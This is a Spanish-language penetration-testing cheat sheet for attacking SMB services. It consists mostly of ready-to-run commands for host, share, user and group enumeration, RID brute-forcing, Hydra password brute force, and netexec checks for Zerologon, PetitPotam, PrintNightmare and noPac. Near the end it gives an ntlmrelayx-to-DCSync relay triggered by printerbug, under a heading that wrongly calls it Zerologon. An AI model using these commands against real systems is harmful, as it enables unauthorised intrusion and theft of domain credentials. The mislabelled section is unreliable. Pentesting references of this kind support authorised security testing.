# SMB

<table data-header-hidden><thead><tr><th width="152"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td><p>135</p><p>445</p></td></tr><tr><td><strong>Protocolo/s</strong></td><td>TCP</td></tr></tbody></table>

## Vulnerabilidades comunes

* Versiones de SMB desactualizadas (SMB v1/v2) con exploits conocidos.
* Configuración insegura de permisos en carpetas compartidas.
* Acceso con sesiones nulas (anonymous).
* Credenciales por defecto o débiles.
* Versiones de software con vulnerabilidades conocidas.

### Checklist de vulnerabilidades

| Vulnerabilidad                         | Descripción                                                                          | Detalles                                                             |
| -------------------------------------- | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------- |
| **Firma SMB deshabilitada**            | La firma SMB no está habilitada, lo que permite ataques de Man-in-the-Middle (MITM). | [#firma-smb-deshabilitada](#firma-smb-deshabilitada "mention")       |
| **SMBv1 habilitado**                   | Uso de una versión obsoleta e insegura del protocolo SMB (SMBv1).                    | [#smbv1-habilitado](#smbv1-habilitado "mention")                     |
| **Sesiones nulas habilitadas**         | Permite conexiones anónimas (sin credenciales).                                      | [#sesiones-nulas-habilitadas](#sesiones-nulas-habilitadas "mention") |
| **Credenciales por defecto o débiles** | Cuentas sin contraseña o con contraseñas débiles.                                    | Pendiente                                                            |
| **Shares con permisos de escritura**   | Recursos compartidos con permisos de escritura para usuarios no autorizados.         | Pendiente                                                            |
| **Enumeración de usuarios**            | Permite extraer lista de usuarios a través de RPC, LSARPC, RID brute, etc.           | Pendiente                                                            |
| **CVEs**                               | Vulnerabilidades públicas conocidas (Zerologon, Petitpotam, ...)                     | [#cves](#cves "mention")                                             |

## Enumeración

### Identificación de hosts

Enumerar una red en busca de hosts:

<pre class="language-bash"><code class="lang-bash">NET='192.168.1.0/24'
nbtscan -r $NET

# Para una lista de IPs
for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do nbtscan -r $ip; done
</code></pre>

Para enumerar los sistemas que cuenta con el servicio SMB:

* Netexec:

<pre class="language-bash"><code class="lang-bash">netexec smb &#x3C;red/IP/lista de servidores>
netexec smb 10.10.10.100
netexec smb 192.168.1.0/24
netexec smb <a data-footnote-ref href="#user-content-fn-2">servers.txt</a>
</code></pre>

Si se quiere realizar un escáner de una lista de subredes objetivo:

{% code overflow="wrap" %}

```bash
SCOPE_FILE='~/Pentest/scope/networks.txt'
for i in $(cat $SCOPE_FILE); do NET_FMTED="${i//\//-}" ; netexec smb $i --log "outputs/smb/netexec_$NET_FMTED_$(date +%Y%m%d).log" ; done
```

{% endcode %}

* Nmap:

```bash
NET='192.168.1.0/24'
NET_FMTED="${NET//\//-}"
nbtscan -r $NET
nmap -p 139,445 --script 'smb-*' -oA nmap/"$NET_FMTED" $NET
```

### Identificación de sistema operativo

```bash
git clone https://github.com/nopfor/ntlm_challenger.git

python ntlm_challenger.py 'smb://$IP'
```

### Identificación de versión SMB

<pre class="language-bash"><code class="lang-bash">msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS file:/home/kali/<a data-footnote-ref href="#user-content-fn-3">scope.txt</a>
</code></pre>

### Identificación de carpetas compartidas

#### Sin autenticación

{% code overflow="wrap" %}

```bash
NET='192.168.1.0/24'
netexec smb $NET -u '' -p '' --shares --log "netexec_shares_nullsession_$(date +%Y%m%d).log"
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash">IP='192.168.1.100'
smbmap -H $IP

# Para una lista de IPs
for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do smbmap -H $ip; done
</code></pre>

<pre class="language-bash"><code class="lang-bash">IP='192.168.1.100'
smbclient -L //$IP -N

for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do smbclient -L //$ip -N; done
</code></pre>

```bash
IP='192.168.1.100'
enum4linux-ng -A $IP
enum4linux -a $IP
```

```bash
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
enum4linux -a -u $USER -p $PASS $IP
```

#### Con autenticación

{% code overflow="wrap" %}

```bash
NET='192.168.1.0/24'
USER='Administrator'
PASS='password123'
DC='dc.xtormincorp.local'
netexec smb $NET -u $USER -p $PASS -d $DC --shares
```

{% endcode %}

```bash
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
netexec smb $IP -u $USER -H $HASH
```

### Módulos de Netexec

Siendo, por ejemplo, `xtormincorp` el nombre del dominio y `xtormin` el usuario:

{% code overflow="wrap" %}

```bash
USER='xtormincorp\xtormin'
PASS='password123'

netexec smb scope.txt -u $USER -p $PASS -M coerce_plus --log "netexec_coerceplus_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M petitpotam --log "netexec_petitpotam_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M zerologon --log "netexec_zerologon_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M printnightmare --log "netexec_printnightmare_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M smbghost --log "netexec_smbghost_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M nopac --log "netexec_nopac_$(date +%Y%m%d).log"
```

{% endcode %}

### Enumeración de discos

<pre class="language-bash"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'
<strong>netexec smb $IP -u $USER -p $PASS --disks
</strong></code></pre>

### Enumeración de usuarios

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Usuarios locales
netexec smb $IP -u $USER -p $PASS --loggedon-users --log "netexec_loggedonusers_$(date +%Y%m%d).log"

# Usuarios del dominio
netexec smb $IP -u $USER -p $PASS --users --log "netexec_users_$(date +%Y%m%d).log"
<strong>
</strong><strong># Vía RID Cycling
</strong>netexec smb $IP -u $USER -p $PASS --rid-brute --log "netexec_ridbrute_$(date +%Y%m%d).log"
</code></pre>

Enumeración de grupos

{% code overflow="wrap" %}

```bash
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Grupos locales
netexec smb $IP -u $USER -p $PASS --local-groups --log "netexec_localgroups_$(date +%Y%m%d).log"

# Grupos del dominio
netexec smb $IP -u $USER -p $PASS --groups --log "netexec_groups_$(date +%Y%m%d).log"
```

{% endcode %}

### Acceso a recursos

<pre class="language-bash"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'

<strong>smbmap -u $USER -p $PASS -H $IP
</strong>smbmap -u $USER -p $PASS -H $IP -R --exclude SYSVOL,IPC$
smbmap -u $USER -p $PASS -H $IP --download users$/user/azure.xml
</code></pre>

{% code overflow="wrap" %}

```bash
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M spider_plus --log "netexec_shares_spider_$(date +%Y%m%d).log"

netexec smb $IP -u $USER -p $PASS -M spider_plus -o READ_ONLY=False --log "netexec_shares_spider_noreadonly_$(date +%Y%m%d).log"
```

{% endcode %}

## Fuerza bruta

### Hydra

```bash
USER_FILE=user.txt
PASS_FILE=pass.txt
IP='192.168.1.101'
hydra -L $USER_FILE -P $PASS_FILE $IP smb
```

## Vulnerabilidades

### Firma SMB deshabilitada

```bash
IP='10.10.10.100'
LOG="netexec_smbsigning_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "Signing: False"
```

### SMBv1 habilitado

```bash
IP='10.10.10.100'
LOG="netexec_smbversion_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "SMBv1: True"
```

### **Sesiones nulas habilitadas**

{% code overflow="wrap" %}

```bash
IP='10.10.10.100'
netexec smb $IP -u '' -p '' --log "netexec_nullsessions_$(date +%Y%m%d).log"
```

{% endcode %}

### CVEs

#### Zerologon

Identificar si el DC ejecuta el servicio PrintSpooler:

```bash
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
```

Se ejecuta lo siguiente en una consola:

```bash
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
```

Se ejecuta lo siguiente en otra consola a la vez que el comando anterior:

```bash
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```

## Referencias

* <https://www.netspi.com/blog/technical-blog/network-pentesting/powerhuntshares-2-0-release/>
* <https://www.netexec.wiki/>

[^1]: 10.10.10.101

    10.10.10.102

    10.10.10.103

    ...

[^2]: 10.10.10.101

    10.10.10.102

    10.10.10.103

    dc.xtormincorp.local

    ...

[^3]: 10.10.10.102

    10.10.10.103

    dc.xtormincorp.local

    ...
